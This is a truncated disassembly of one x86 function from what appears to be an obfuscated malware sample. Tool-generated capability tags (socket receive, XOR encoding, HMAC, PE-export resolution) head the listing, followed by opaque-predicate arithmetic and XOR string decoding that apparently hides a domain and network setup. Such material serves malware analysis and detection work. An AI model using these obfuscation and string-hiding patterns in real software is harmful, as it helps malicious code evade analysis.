Function at 0x100b2910
Capabilities:
Authenticate hmac
Encode data using xor
Receive data
Receive data on socket
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1a0
mov esi, esp
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x18c], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x190], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x194], eax
mov eax, dword [0x10146298]
xor eax, ebp
mov dword [esi + 0x198], eax
mov eax, dword [0x10143ab4]
sub eax, dword [0x10143ab8]
xor eax, 0xf5776b9e
add eax, 0xc103597c
mov ecx, 0xd55ae545
xor edx, edx
div ecx
and eax, 0x4fb84f2d
mov ecx, 0x58107c19
xor edx, edx
div ecx
or eax, 0x5a8f08b6
add eax, 0x4eabef29
and eax, 0xcc2dda5a
or eax, 0x1ad3728f
or eax, 0x41b4946f
or eax, 0x500f4eb5
mov ecx, 0xcc85f92e
xor edx, edx
div ecx
mov ecx, 0x16cb9820
xor edx, edx
div ecx
or eax, 0x7264ab5f
xor eax, 0x1e660479
and eax, 0x6125cfc1
xor eax, 0x54c07f82
sub eax, 0x5971152e
add eax, 0x20b90e28
imul eax, eax, 0x465063e5
cmp eax, 0x7a014115
jbe 0x100b9034
mov eax, dword [0x10143abc]
or eax, dword [0x10143ac0]
imul eax, eax, 0x3f7961a8
imul eax, eax, 0x5aa5e93d
add eax, 0x489810f3
mov ecx, 0x76ab9a66
xor edx, edx
div ecx
mov ecx, 0x710d2cb2
xor edx, edx
div ecx
or eax, 0x9f5a5f97
and eax, 0xa6db104b
sub eax, 0x7c934344
add eax, 0x6ebcd35d
add eax, 0x37c233f2
or eax, 0xcf1fbe1c
add eax, 0xf2555227
add eax, 0xd135b544
add eax, 0xc40ebb2d
xor eax, 0x34789da6
add eax, 0x420b8f40
or eax, 0xdae1f33
mov ecx, 0xc8a3e501
xor edx, edx
div ecx
add eax, 0xd89e97e1
add eax, 0x8fe9f3fd
cmp eax, 0x8e8ba2f3
ja 0x100b29d4
mov eax, dword [0x10143ac4]
xor eax, dword [0x10143ac8]
and eax, 0xd5e9f9ec
sub eax, 0xdef23c89
or eax, 0x6c3ce26e
sub eax, 0x2b5ac18f
add eax, 0x38fa4bd5
or eax, 0x160be42d
add eax, 0x29156751
and eax, 0xb4f2df77
and eax, 0xd6c39bf1
imul eax, eax, 0xf78abc50
add eax, 0x88cbaf1
add eax, 0x5ef58456
mov ecx, 0xdba6e1cf
xor edx, edx
div ecx
imul eax, eax, 0x2b581e7a
add eax, 0x4953802
mov ecx, 0x9d5d2bb5
xor edx, edx
div ecx
sub eax, 0xd6ced260
and eax, 0xe7cd3f64
and eax, 0x5b87df28
imul eax, eax, 0x6865491c
cmp eax, 0xaed2c51d
jae 0x100b7bb7
mov eax, dword [0x10143acc]
add eax, dword [0x10143ad0]
sub eax, 0x43ab084e
or eax, 0x9eaf79c9
mov ecx, 0x592d224a
xor edx, edx
div ecx
mov ecx, 0xb740d90f
xor edx, edx
div ecx
add eax, 0x46a4147f
xor eax, 0x96ac9f0d
and eax, 0x8c464396
xor eax, 0xd1d80604
xor eax, 0x92761dbc
sub eax, 0x7903e0d8
or eax, 0x14420b76
imul eax, eax, 0x6d9a00d5
add eax, 0x37eb674a
mov ecx, 0xf29a54d0
xor edx, edx
div ecx
or eax, 0xe5948b19
imul eax, eax, 0xb1a4e019
or eax, 0x7db1aa42
imul eax, eax, 0x3ee861ec
and eax, 0xf67e428c
imul eax, eax, 0x418ab1fa
cmp eax, 0xcbf045ad
ja 0x100b9039
mov eax, dword [0x10143ad4]
sub eax, dword [0x10143ad8]
and eax, 0x3416de8a
and eax, 0x3811b963
sub eax, 0x5737007
or eax, 0xb5a92aec
add eax, 0xdc21541e
add eax, 0x97571ea2
imul eax, eax, 0x81dbe99b
sub eax, 0x926ade4a
or eax, 0xd5a30e38
sub eax, 0x38d5f04f
and eax, 0xf2c7184e
add eax, 0xe5767093
xor eax, 0x618c47f9
add eax, 0xae71c31a
and eax, 0xc6802952
mov ecx, 0xcf94e320
xor edx, edx
div ecx
imul eax, eax, 0xc7728788
and eax, 0x3d706c88
xor eax, 0xfa91c8e
or eax, 0xd675818
cmp dword [0x10146e70], 0
sete cl
mov byte [esi + 0x18b], cl
cmp eax, 0x9aee4676
je 0x100b2b6b
mov eax, dword [0x10143adc]
xor eax, dword [0x10143ae0]
mov ecx, 0xf7eb3c73
xor edx, edx
div ecx
or eax, 0xfefc3736
or eax, 0xaaa8fa0e
imul eax, eax, 0x3b9c9f31
sub eax, 0x9473870e
and eax, 0x54949464
and eax, 0xf2a28c11
xor eax, 0xb4a49d56
sub eax, 0x88dd341d
add eax, 0xece21e74
or eax, 0x6ffdd117
imul eax, eax, 0x2318170d
sub eax, 0x156dff17
add eax, 0xfdd3a77d
and eax, 0x644e6e0e
or eax, 0xa432c6ea
mov ecx, 0xd447484b
xor edx, edx
div ecx
and eax, 0x6055164
sub eax, 0xe30077c3
or eax, 0xcc7cda3d
cmp eax, 0xa3ce5cdd
jbe 0x100b2ae1
mov al, byte [esi + 0x18b]
test al, 1
jne 0x100b2c92
jmp 0x100b35a8
mov eax, dword [0x10143ae4]
xor eax, dword [0x10143ae8]
or eax, 0xe319ea1a
or eax, 0xc960bdb5
xor eax, 0x95e33b1d
xor eax, 0x3970aafe
imul eax, eax, 0xad01060e
imul eax, eax, 0x697c4b67
sub eax, 0xc395388a
sub eax, 0xa3b36f02
add eax, 0x7a54bb04
xor eax, 0x5e52495
add eax, 0xc2c078d2
sub eax, 0x56a96e4d
add eax, 0xd26732f1
add eax, 0x7c7a7098
or eax, 0x79992661
imul eax, eax, 0x954be92f
mov ecx, 0x9a53c5fd
xor edx, edx
div ecx
imul eax, eax, 0xe2bab86
sub eax, 0xb412b221
sub eax, 0x6ea6015d
cmp eax, 0x6d802e95
jbe 0x100b9043
mov eax, dword [0x10143aec]
xor edx, edx
div dword [str.UyL]
sub eax, 0x6d30895c
mov ecx, 0x425cd1fb
xor edx, edx
div ecx
and eax, 0x4faa0240
or eax, 0xcef76c0c
imul eax, eax, 0x49d53cb5
imul eax, eax, 0xaec75abe
add eax, 0x6016e913
add eax, 0x7b4d718
imul eax, eax, 0xb134bd9b
mov ecx, 0x1215632
xor edx, edx
div ecx
xor eax, 0xa70e7c83
sub eax, 0xd76133be
imul eax, eax, 0x27ef3905
xor eax, 0xad464508
and eax, 0x3042a0c7
sub eax, 0xb84109bb
and eax, 0x39f27dc4
and eax, 0x297b8879
sub eax, 0x9d756ca3
and eax, 0x5f9417fd
mov cl, byte [0x1013a119]
xor cl, 0x8e
mov byte [0x1013a122], cl
mov cl, byte [0x1013a11a]
xor cl, 0x7f
mov byte [0x1013a123], cl
mov cl, byte [0x1013a11b]
xor cl, 0x8a
mov byte [0x1013a124], cl
mov cl, byte [0x1013a11c]
xor cl, 0xa8
mov byte [0x1013a125], cl
mov cl, byte [0x1013a11d]
xor cl, 0x6f
mov byte [0x1013a126], cl
mov cl, byte [0x1013a11e]
xor cl, 0xeb
mov byte [0x1013a127], cl
mov cl, byte [0x1013a11f]
xor cl, 0x7b
mov byte [0x1013a128], cl
mov cl, byte [0x1013a120]
xor cl, 6
mov byte [0x1013a12a], cl
mov cl, byte [0x1013a121]
xor cl, 0x73
mov byte [0x1013a12b], cl
mov cl, byte [0x1013a1b2]
xor cl, 0xc4
mov byte [0x1013a1b9], cl
mov cl, byte [0x1013a1b3]
xor cl, 0xed
mov byte [0x1013a1ba], cl
mov cl, byte [0x1013a1b4]
xor cl, 0xd9
mov byte [0x1013a1bb], cl
mov cl, byte [0x1013a1b5]
xor cl, 0xc9
mov byte [0x1013a1bc], cl
mov cl, byte [str.BsoD]
xor cl, 0x42
mov byte [0x1013a1bd], cl
mov cl, byte [0x1013a12c]
xor cl, 0x15
mov byte [0x1013a135], cl
mov cl, byte [0x1013a12d]
xor cl, 0x3a
mov byte [str.8t_ndI], cl
mov cl, byte [0x1013a12e]
xor cl, 0xd9
mov byte [0x1013a138], cl
mov cl, byte [0x1013a12f]
xor cl, 0x71
mov byte [0x1013a13a], cl
mov cl, byte [0x1013a130]
xor cl, 0xa0
mov byte [0x1013a13b], cl
mov cl, byte [0x1013a131]
xor cl, 0x2a
mov byte [0x1013a13c], cl
mov cl, byte [0x1013a132]
xor cl, 4
mov byte [0x1013a13d], cl
mov cl, byte [0x1013a133]
xor cl, 0x5e
mov byte [0x1013a13e], cl
mov cl, byte [0x1013a134]
xor cl, 0x76
mov byte [0x1013a13f], cl
mov cl, byte [0x1013a1d5]
xor cl, 0xeb
mov byte [0x1013a1dd], cl
mov cl, byte [0x1013a1d6]
xor cl, 0x91
mov byte [0x1013a1de], cl
mov cl, byte [0x1013a1d7]
xor cl, 0x9b
mov byte [0x1013a1df], cl
mov cl, byte [0x1013a1d8]
xor cl, 0xcf
mov byte [0x1013a1e0], cl
mov cl, byte [0x1013a1d9]
xor cl, 0x36
mov byte [0x1013a1e1], cl
mov cl, byte [0x1013a1da]
xor cl, 0x4f
mov byte [0x1013a1e2], cl
mov cl, byte [0x1013a1db]
xor cl, 0x5c
mov byte [0x1013a1e3], cl
mov cl, byte [0x1013a1dc]
xor cl, 0xd7
mov byte [0x1013a1e4], cl
mov cl, byte [0x1013a0fd]
xor cl, 0x3a
mov byte [0x1013a101], cl
mov cl, byte [0x1013a0fe]
xor cl, 0x87
mov byte [0x1013a102], cl
mov cl, byte [0x1013a0ff]
xor cl, 0x4f
mov byte [0x1013a103], cl
mov cl, byte [0x1013a100]
xor cl, 0xc7
mov byte [0x1013a104], cl
mov cl, byte [0x1013a1e5]
xor cl, 0x48
mov byte [0x1013a1ea], cl
mov cl, byte [0x1013a1e6]
xor cl, 0x82
mov byte [0x1013a1eb], cl
mov cl, byte [0x1013a1e7]
xor cl, 0x8c
mov byte [0x1013a1ec], cl
mov cl, byte [0x1013a1e8]
xor cl, 0xf6
mov byte [0x1013a1ed], cl
mov cl, byte [0x1013a1e9]
xor cl, 0xd7
mov byte [0x1013a1ee], cl
mov cl, byte [0x1013a1ff]
xor cl, 0x82
mov byte [0x1013a205], cl
mov cl, byte [0x1013a200]
xor cl, 0xcd
mov byte [0x1013a206], cl
mov cl, byte [0x1013a201]
xor cl, 0x4a
mov byte [0x1013a207], cl
mov cl, byte [0x1013a202]
xor cl, 0xff
mov byte [0x1013a208], cl
mov cl, byte [0x1013a203]
xor cl, 0x99
mov byte [0x1013a209], cl
mov cl, byte [0x1013a204]
xor cl, 0x1d
mov byte [0x1013a20a], cl
mov cl, byte [0x1013a154]
xor cl, 0x5f
mov byte [0x1013a170], cl
mov cl, byte [0x1013a155]
xor cl, 0xab
mov byte [0x1013a171], cl
mov cl, byte [0x1013a156]
xor cl, 0xe4
mov byte [0x1013a172], cl
mov cl, byte [0x1013a157]
xor cl, 0x5d
mov byte [0x1013a173], cl
mov cl, byte [0x1013a158]
xor cl, 0x47
mov byte [0x1013a174], cl
mov cl, byte [0x1013a159]
xor cl, 0x50
mov byte [0x1013a175], cl
mov cl, byte [0x1013a15a]
xor cl, 0xfd
mov byte [0x1013a176], cl
mov cl, byte [0x1013a15b]
xor cl, 0x31
mov byte [0x1013a179], cl
mov cl, byte [0x1013a15c]
xor cl, 0xb
mov byte [str._v41bu], cl
mov cl, byte [0x1013a15d]
xor cl, 0xc4
mov byte [0x1013a17b], cl
mov cl, byte [0x1013a15e]
xor cl, 0xe1
mov byte [0x1013a17d], cl
mov cl, byte [0x1013a15f]
xor cl, 0xe8
mov byte [0x1013a17e], cl
mov cl, byte [0x1013a160]
xor cl, 0x76
mov byte [0x1013a17f], cl
mov cl, byte [0x1013a161]
xor cl, 0x32
mov byte [0x1013a180], cl
mov cl, byte [0x1013a162]
xor cl, 0xf3
mov byte [0x1013a181], cl
mov cl, byte [0x1013a163]
xor cl, 0xb7
mov byte [0x1013a182], cl
mov cl, byte [0x1013a141]
xor cl, 0x14
mov byte [0x1013a14a], cl
mov cl, byte [0x1013a142]
xor cl, 0xb0
mov byte [0x1013a14b], cl
mov cl, byte [0x1013a143]
xor cl, 0xb9
mov byte [0x1013a14c], cl
mov cl, byte [0x1013a144]
xor cl, 0x9c
mov byte [0x1013a14d], cl
mov cl, byte [0x1013a145]
xor cl, 0x11
mov byte [0x1013a14e], cl
mov cl, byte [0x1013a146]
xor cl, 0x80
mov byte [0x1013a14f], cl
mov cl, byte [0x1013a147]
xor cl, 0x50
mov byte [0x1013a150], cl
mov cl, byte [0x1013a148]
xor cl, 0xa7
mov byte [str.pp], cl
mov cl, byte [0x1013a149]
xor cl, 8
mov byte [0x1013a153], cl
mov cl, byte [0x1013a198]
xor cl, 0x7b
mov byte [0x1013a1a5], cl
mov cl, byte [0x1013a199]
xor cl, 0xd6
mov byte [0x1013a1a6], cl
mov cl, byte [0x1013a19a]
xor cl, 0x9b
mov byte [0x1013a1a7], cl
mov cl, byte [0x1013a19b]
xor cl, 0x7b
mov byte [0x1013a1a8], cl
mov cl, byte [0x1013a19c]
xor cl, 0xde
mov byte [0x1013a1a9], cl
mov cl, byte [0x1013a19d]
xor cl, 0x1f
mov byte [0x1013a1aa], cl
mov cl, byte [0x1013a19e]
xor cl, 0xed
mov byte [0x1013a1ab], cl
mov cl, byte [0x1013a19f]
xor cl, 0xee
mov byte [0x1013a1ac], cl
mov cl, byte [0x1013a1a0]
xor cl, 0xf7
mov byte [0x1013a1ad], cl
mov cl, byte [0x1013a1a1]
xor cl, 0xe1
mov byte [0x1013a1ae], cl
mov cl, byte [0x1013a1a2]
xor cl, 0x6d
mov byte [0x1013a1af], cl
mov cl, byte [0x1013a1a3]
xor cl, 0x5d
mov byte [0x1013a1b0], cl
mov cl, byte [0x1013a1a4]
xor cl, 5
mov byte [0x1013a1b1], cl
mov cl, byte [0x1013a1be]
xor cl, 0x3c
mov byte [0x1013a1c9], cl
mov cl, byte [0x1013a1bf]
xor cl, 0xe6
mov byte [0x1013a1ca], cl
mov cl, byte [0x1013a1c0]
xor cl, 0xcf
mov byte [0x1013a1cb], cl
mov cl, byte [0x1013a1c1]
xor cl, 0x5f
mov byte [0x1013a1cc], cl
mov cl, byte [0x1013a1c2]
xor cl, 0x31
mov byte [0x1013a1cd], cl
mov cl, byte [0x1013a1c3]
xor cl, 0xe
mov byte [0x1013a1ce], cl
mov cl, byte [0x1013a1c4]
xor cl, 0xe6
mov byte [0x1013a1cf], cl
mov cl, byte [0x1013a1c5]
xor cl, 0xa6
mov byte [0x1013a1d0], cl
mov cl, byte [0x1013a1c6]
xor cl, 0xb6
mov byte [0x1013a1d1], cl
mov cl, byte [0x1013a1c7]
xor cl, 0xe0
mov byte [0x1013a1d3], cl
mov cl, byte [0x1013a1c8]
xor cl, 0xc8
mov byte [0x1013a1d4], cl
mov cl, byte [0x1013a105]
xor cl, 0xe4
mov byte [0x1013a10e], cl
mov cl, byte [0x1013a106]
xor cl, 0xa4
mov byte [0x1013a10f], cl
mov cl, byte [0x1013a107]
xor cl, 0xcc
mov byte [0x1013a110], cl
mov cl, byte [0x1013a108]
xor cl, 0xa5
mov byte [0x1013a112], cl
mov cl, byte [0x1013a109]
xor cl, 0xca
mov byte [0x1013a113], cl
mov cl, byte [0x1013a10a]
xor cl, 0x91
mov byte [str.dZL], cl
mov cl, byte [str.CfM]
xor cl, 0x2f
mov byte [0x1013a116], cl
mov cl, byte [0x1013a10c]
xor cl, 0xa
mov byte [0x1013a117], cl
mov cl, byte [0x1013a10d]
xor cl, 0x4d
mov byte [0x1013a118], cl
mov cl, byte [0x1013a1ef]
xor cl, 0xf0
mov byte [0x1013a1f7], cl
mov cl, byte [0x1013a1f0]
xor cl, 0xef
mov byte [0x1013a1f8], cl
mov cl, byte [0x1013a1f1]
xor cl, 6
mov byte [0x1013a1f9], cl
mov cl, byte [0x1013a1f2]
xor cl, 0x35
mov byte [0x1013a1fa], cl
mov cl, byte [0x1013a1f3]
xor cl, 0x32
mov byte [0x1013a1fb], cl
mov cl, byte [0x1013a1f4]
xor cl, 0xed
mov byte [0x1013a1fc], cl
mov cl, byte [0x1013a1f5]
xor cl, 0xfa
mov byte [0x1013a1fd], cl
mov cl, byte [0x1013a1f6]
xor cl, 0xec
mov byte [0x1013a1fe], cl
mov cl, byte [0x1013a183]
xor cl, 0xc5
mov byte [0x1013a18d], cl
mov cl, byte [0x1013a184]
xor cl, 0xfb
mov byte [0x1013a18e], cl
mov cl, byte [0x1013a185]
xor cl, 0xde
mov byte [0x1013a18f], cl
mov cl, byte [0x1013a186]
xor cl, 0x34
mov byte [0x1013a190], cl
mov cl, byte [0x1013a187]
xor cl, 0xa6
mov byte [0x1013a192], cl
mov cl, byte [0x1013a188]
xor cl, 0x29
mov byte [0x1013a193], cl
mov cl, byte [0x1013a189]
xor cl, 0x89
mov byte [0x1013a194], cl
mov cl, byte [0x1013a18a]
xor cl, 0x83
mov byte [0x1013a195], cl
mov cl, byte [0x1013a18b]
xor cl, 0xf
mov byte [0x1013a196], cl
mov cl, byte [0x1013a18c]
xor cl, 6
mov byte [0x1013a197], cl
mov cl, byte [0x1013a215]
xor cl, 0xe1
mov byte [0x1013a21f], cl
mov cl, byte [0x1013a216]
xor cl, 0x40
mov byte [0x1013a220], cl
mov cl, byte [0x1013a217]
xor cl, 0x65
mov byte [0x1013a221], cl
mov cl, byte [0x1013a218]
xor cl, 0xa9
mov byte [0x1013a222], cl
mov cl, byte [0x1013a219]
xor cl, 0xc3
mov byte [0x1013a223], cl
mov cl, byte [0x1013a21a]
xor cl, 0x65
mov byte [0x1013a225], cl
mov cl, byte [0x1013a21b]
xor cl, 0x6f
mov byte [0x1013a226], cl
mov cl, byte [0x1013a21c]
xor cl, 0x97
mov byte [0x1013a228], cl
mov cl, byte [0x1013a21d]
xor cl, 6
mov byte [0x1013a229], cl
mov cl, byte [0x1013a21e]
xor cl, 0x70
mov byte [0x1013a22a], cl
mov cl, byte [0x1013a20b]
xor cl, 0xa3
mov byte [0x1013a210], cl
mov cl, byte [0x1013a20c]
xor cl, 0x2a
mov byte [0x1013a211], cl
mov cl, byte [0x1013a20d]
xor cl, 0xc4
mov byte [0x1013a212], cl
mov cl, byte [0x1013a20e]
xor cl, 0x49
mov byte [0x1013a213], cl
mov cl, byte [0x1013a20f]
xor cl, 0xe8
mov byte [0x1013a214], cl
cmp eax, 0xdfb253ab
jae 0x100b9043
jmp 0x100b35a8
mov dword [0x10146e70], 1
push eax
mov eax, esp
mov dword [esi + 0x8c], eax
push eax
mov ecx, esp
mov eax, ecx
mov dword [esi + 0x90], eax
push eax
mov eax, esp
mov dword [esi + 0x15c], eax
mov dword [esi + 0x94], eax
push eax
mov ebx, esp
mov eax, ebx
mov dword [esi + 0x98], eax
sub esp, 0x10
mov edi, esp
mov eax, edi
mov dword [esi + 0x168], eax
sub esp, 0xc
mov edx, esp
mov eax, edx
mov dword [esi + 0x174], eax
sub esp, 0x34
mov eax, esp
mov dword [esi + 0x160], eax
mov dword [esi + 0x9c], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x164], eax
mov dword [esi + 0xa0], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x16c], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x178], eax
push eax
mov eax, esp
mov dword [esi + 0x17c], eax
push eax
mov eax, esp
mov dword [esi + 0x180], eax
push eax
mov eax, esp
mov dword [esi + 0x184], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa4], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xa8], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xac], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xb0], eax
push eax
mov eax, esp
mov dword [esi + 0xb4], eax
push eax
mov eax, esp
mov dword [esi + 0xb8], eax
push eax
mov eax, esp
mov dword [esi + 0xbc], eax
push eax
mov eax, esp
mov dword [esi + 0xc0], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xc4], eax
push eax
mov eax, esp
mov dword [esi + 0xc8], eax
push eax
mov eax, esp
mov dword [esi + 0xcc], eax
sub esp, 0x190
mov eax, esp
mov dword [esi + 0xd0], eax
push eax
mov eax, esp
mov dword [esi + 0xd4], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xd8], eax
sub esp, 0x20
mov eax, esp
mov dword [esi + 0xdc], eax
push eax
mov eax, esp
mov dword [esi + 0xe0], eax
push eax
mov eax, esp
mov dword [esi + 0xe4], eax
push eax
mov eax, esp
mov dword [esi + 0xe8], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xec], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xf0], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xf4], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xf8], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xfc], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x100], eax
push eax
mov eax, esp
mov dword [esi + 0x104], eax
push eax
mov eax, esp
mov dword [esi + 0x108], eax
push eax
mov eax, esp
mov dword [esi + 0x10c], eax
push eax
mov eax, esp
mov dword [esi + 0x110], eax
push eax
mov eax, esp
mov dword [esi + 0x114], eax
push eax
mov eax, esp
mov dword [esi + 0x118], eax
push eax
mov eax, esp
mov dword [esi + 0x11c], eax
push eax
mov eax, esp
mov dword [esi + 0x120], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x124], eax
push eax
mov eax, esp
mov dword [esi + 0x128], eax
push eax
mov eax, esp
mov dword [esi + 0x12c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x130], eax
push eax
mov eax, esp
mov dword [esi + 0x134], eax
push eax
sub esp, 0xffc
mov eax, esp
mov dword [esi + 0x138], eax
push eax
mov eax, esp
mov dword [esi + 0x13c], eax
push eax
mov eax, esp
mov dword [esi + 0x140], eax
push eax
mov eax, esp
mov dword [esi + 0x144], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x148], eax
push eax
mov eax, esp
mov dword [esi + 0x14c], eax
push eax
mov eax, esp
mov dword [esi + 0x150], eax
push eax
mov eax, esp
mov dword [esi + 0x154], eax
push eax
mov eax, esp
mov dword [esi + 0x158], eax
mov eax, dword [esi + 0x18c]
mov dword [ecx], eax
mov eax, dword [esi + 0x15c]
mov ecx, dword [esi + 0x190]
mov dword [eax], ecx
mov ecx, dword [esi + 0x160]
mov eax, dword [esi + 0x194]
mov dword [ebx], eax
mov eax, dword [esi + 0x164]
movsd xmm0, qword [0x1013a1aa]
movsd qword [edi + 5], xmm0
movsd xmm0, qword [0x1013a1a5]
movsd qword [edi], xmm0
mov edi, dword [0x1013a115]
mov dword [edx + 7], edi
movsd xmm0, qword [0x1013a10e]
movsd qword [edx], xmm0
movups xmm0, xmmword [0x1012f0e8]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x1012f0d8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [str.Xk6x41683.org]
movups xmmword [ecx], xmm0
mov word [ecx + 0x30], 0
mov ecx, dword [0x1013a17f]
mov dword [eax + 0xf], ecx
movaps xmm0, xmmword [0x1013a170]
movups xmmword [eax], xmm0
call fcn.100a3160
mov ecx, dword [esi + 0x168]
mov edi, eax
mov eax, dword [esi + 0x16c]
mov dword [esi + 0x170], edi
mov edi, edx
mov edx, dword [esi + 0x170]
mov dword [eax + 4], edi
mov dword [eax], edx
mov edx, dword [eax]
mov edi, dword [eax + 4]
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.100909a0
mov ecx, dword [esi + 0x174]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x178]
mov dword [eax], edx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x17c]
mov ecx, dword [esi + 0x180]
mov edi, eax
mov eax, dword [esi + 0x184]
mov dword [edx], edi
mov dword [ecx], 0
mov dword [eax], ecx
mov eax, dword [eax]
cmp dword [eax], 0
jne 0x100b4598
mov eax, dword [0x10143af4]
xor edx, edx
div dword [0x10143af8]
imul eax, eax, 0x86dc6558
and eax, 0xa83bcd1c
or eax, 0xbbba449e
sub eax, 0xe29d083a
xor eax, 0xa5b4da85
or eax, 0x3ece0bee
sub eax, 0xd1a94d61
or eax, 0xf45d7a14
xor eax, 0xb12e3d5
sub eax, 0x85697e23
xor eax, 0x18bca6ef
imul eax, eax, 0xdf2ff828
or eax, 0xb8fac129
and eax, 0x70c96522
xor eax, 0x5f378ade
xor eax, 0x637605d9
and eax, 0x84b36757
and eax, 0xd0cc716d
imul eax, eax, 0x36775f4c
add eax, 0xe767474e
cmp eax, 0x5bcd36cf
jb 0x100b96b4
mov edi, dword [esi + 0xac]
mov ebx, dword [esi + 0xa8]
mov eax, 0xf39f6314
mov dword [esi + 0x84], eax
sub esp, 8
mov eax, esp
mov dword [eax + 4], 0x24
mov dword [eax], 0x20
call fcn.10089760
mov ecx, dword [esi + 0xa4]
mov edx, dword [esi + 0xb0]
add esp, 8
mov eax, dword [0x1013a194]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x1013a18d]
movsd qword [ecx], xmm0
mov eax, dword [0x1013a13d]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x17c]
movsd xmm0, qword [0x1013a135]
movsd qword [ebx], xmm0
mov bx, word [0x1013a152]
mov word [edi + 8], bx
movsd xmm0, qword [0x1013a14a]
movsd qword [edi], xmm0
mov di, word [0x1013a12a]
mov word [edx + 8], di
movsd xmm0, qword [0x1013a122]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0xb4]
mov ecx, dword [esi + 0xa8]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x17c]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0xb8]
mov ecx, dword [esi + 0xac]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x17c]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.100909a0
mov edx, dword [esi + 0xbc]
mov ecx, dword [esi + 0xb0]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x17c]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.100909a0
mov ecx, dword [esi + 0xc0]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0xc4]
mov dword [ecx], edx
mov ecx, dword [0x1013a1f7]
mov dword [eax], ecx
mov ecx, dword [0x1013a1fb]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.100a3180
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x84]
cmp ecx, 0
setne cl
mov byte [esi + 0x8b], cl
cmp eax, 0xeefa16a0
je 0x100b39ac
mov al, byte [esi + 0x8b]
test al, 1
jne 0x100b3b52
jmp 0x100b3cc6
mov eax, dword [0x10143b04]
or eax, dword [0x10143b08]
and eax, 0x7d8c78f9
mov ecx, 0x42ee2c9c
xor edx, edx
div ecx
sub eax, 0xef4fb1a3
or eax, 0x16233e46
mov ecx, 0x82935fed
xor edx, edx
div ecx
mov ecx, 0x3c2d3f23
xor edx, edx
div ecx
imul eax, eax, 0x52499d34
add eax, 0x7bbb545f
or eax, 0x9d3cc065
imul eax, eax, 0xf886eeb4
sub eax, 0x151f5815
mov ecx, 0xfa25c2c5
xor edx, edx
div ecx
imul eax, eax, 0xf31b4ab0
mov ecx, 0x7b772106
xor edx, edx
div ecx
xor eax, 0x1de20df9
or eax, 0x716e895e
sub eax, 0x6e166575
and eax, 0x65f303a
sub eax, 0xb377bd80
sub eax, 0xc570b218
cmp eax, 0x4c22bba1
jbe 0x100b9822
mov ecx, dword [esi + 0x9c]
mov edi, dword [esi + 0xc8]
mov eax, dword [0x10143b0c]
sub eax, dword [0x10143b10]
sub eax, 0xa69125f5
sub eax, 0x6940bcd8
xor eax, 0x23ce7a15
or eax, 0xa475def5
and eax, 0xd86607a7
and eax, 0x654b0141
xor eax, 0x766e5894
add eax, 0xcfaa279a
add eax, 0x14122297
mov ebx, 0x5fdcf810
xor edx, edx
div ebx
and eax, 0x9cc7dc85
xor eax, 0xca3c60c7
sub eax, 0xabb6ff04
imul eax, eax, 0xd77e476d
imul eax, eax, 0xd2cbfa79
add eax, 0xad6936ba
or eax, 0x1eab7c3
and eax, 0x47f4f554
or eax, 0xf0304615
xor eax, 0xb247553e
mov dword [esi + 0x80], eax
mov dword [edi], 5
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.101041c0
mov edx, dword [esi + 0x9c]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0xcc]
add ecx, 1
sub ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, edx
add ecx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.10104250
add esp, 0xc
mov eax, dword [esi + 0x80]
cmp eax, 0x651335fe
jae 0x100b9822
jmp 0x100b3cc6
mov eax, dword [esi + 0xb4]
mov ecx, dword [esi + 0xd0]
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
